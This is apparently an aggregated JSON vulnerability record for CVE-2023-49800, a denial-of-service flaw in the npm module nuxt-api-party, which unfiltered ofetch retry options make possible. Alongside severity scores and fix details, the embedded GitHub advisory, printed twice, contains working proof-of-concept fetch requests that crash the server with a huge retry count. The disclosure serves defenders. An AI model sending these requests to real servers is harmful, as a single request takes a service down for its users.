{"id":"CVE-2023-49800","aliases":["EUVD-2023-3268","GHSA-q6hx-3m4p-749h"],"status":"published","title":"Denial of service by abusing `fetchOptions.retry` in nuxt-api-party","description":"`nuxt-api-party` is an open source module to proxy API requests. The library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow. fetchOptions are obtained directly from the request body. A malicious user can construct a URL known  to not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively resulting in a denial of service. This issue has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should limit ofetch options.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00804,"percentile":0.57064,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-674","CWE-787"],"published":"2023-12-08T23:41:55Z","modified":"2026-10-28T02:30:54Z","fixes":[{"ecosystem":"npm","package":"nuxt-api-party","fixed_in":["0.22.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"nuxt-api-party","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.1"}]}]},{"source":"osv","ecosystem":"npm","package":"nuxt-api-party","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.22.1"}]}]}],"products":[{"vendor":"johannschopplich","product":"nuxt-api-party"},{"vendor":"johannschopplich","product":"nuxt_api_party"}],"references":[{"url":"https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-q6hx-3m4p-749h","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49800","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-q6hx-3m4p-749h"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/49xxx/CVE-2023-49800.json","tags":["advisory"]},{"url":"https://github.com/johannschopplich/nuxt-api-party","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-49800","title":"Denial of service by abusing `fetchOptions.retry` in nuxt-api-party","description":"`nuxt-api-party` is an open source module to proxy API requests. The library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow. fetchOptions are obtained directly from the request body. A malicious user can construct a URL known  to not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively resulting in a denial of service. This issue has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should limit ofetch options.","status":"published","published":"2023-12-08T23:41:55.206Z","modified":"2024-08-02T22:01:26.234Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-674","CWE-400"],"updated_at":"2026-11-02T14:35:13.368958Z"}],"euvd":[{"id":"EUVD-2023-3268","description":"`nuxt-api-party` is an open source module to proxy API requests. The library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow. fetchOptions are obtained directly from the request body. A malicious user can construct a URL known  to not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively resulting in a denial of service. This issue has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should limit ofetch options.","status":"published","published":"2023-12-08T23:41:55Z","modified":"2024-08-02T22:01:26Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T03:49:55.731961Z"}],"ghsa":[{"id":"GHSA-q6hx-3m4p-749h","title":"DOS by abusing `fetchOptions.retry`. ","description":"### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [`ofetch`](https://github.com/unjs/ofetch) is used to send the requests. \n\nThe library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.\n\n### Details\n`fetchOptions` [are obtained directly from the request body](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L27). These are then [passed directly into `ofetch`\n](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L57C15-L57C15).\n\nWe can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively. \n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/MyEndpoint\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can build the size of the stack faster by using more complicated URIs\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"data:x;base64,----\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nFull DOS, server is unusable during attack. Requires a single request. \n\n### Fix \nLimit which options can be passed to `ofetch`.\n","status":"published","published":"2023-12-11T20:29:10Z","modified":"2023-12-13T18:58:35Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-787"],"updated_at":"2026-11-02T14:37:25.311671Z"}],"nvd":[{"id":"CVE-2023-49800","description":"`nuxt-api-party` is an open source module to proxy API requests. The library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow. fetchOptions are obtained directly from the request body. A malicious user can construct a URL known  to not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively resulting in a denial of service. This issue has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should limit ofetch options.","status":"published","published":"2023-12-09T00:15:07.653Z","modified":"2026-06-17T06:36:29.53Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-400","CWE-674","CWE-787"],"updated_at":"2026-11-02T14:08:54.010507Z"}],"osv":[{"id":"CVE-2023-49800","title":"Denial of service by abusing `fetchOptions.retry` in nuxt-api-party","description":"`nuxt-api-party` is an open source module to proxy API requests. The library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow. fetchOptions are obtained directly from the request body. A malicious user can construct a URL known  to not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively resulting in a denial of service. This issue has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should limit ofetch options.","status":"published","published":"2023-12-08T23:41:55.206Z","modified":"2026-10-28T02:30:54.232913203Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-674"],"updated_at":"2026-11-02T15:44:34.72355Z"},{"id":"GHSA-q6hx-3m4p-749h","title":"DOS by abusing `fetchOptions.retry`. ","description":"### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [`ofetch`](https://github.com/unjs/ofetch) is used to send the requests. \n\nThe library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.\n\n### Details\n`fetchOptions` [are obtained directly from the request body](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L27). These are then [passed directly into `ofetch`\n](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L57C15-L57C15).\n\nWe can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively. \n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/MyEndpoint\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can build the size of the stack faster by using more complicated URIs\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"data:x;base64,----\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nFull DOS, server is unusable during attack. Requires a single request. \n\n### Fix \nLimit which options can be passed to `ofetch`.\n","status":"published","published":"2023-12-11T20:29:10Z","modified":"2026-09-10T03:50:04.5563936Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-787"],"updated_at":"2026-11-02T15:46:54.055966Z"}]}}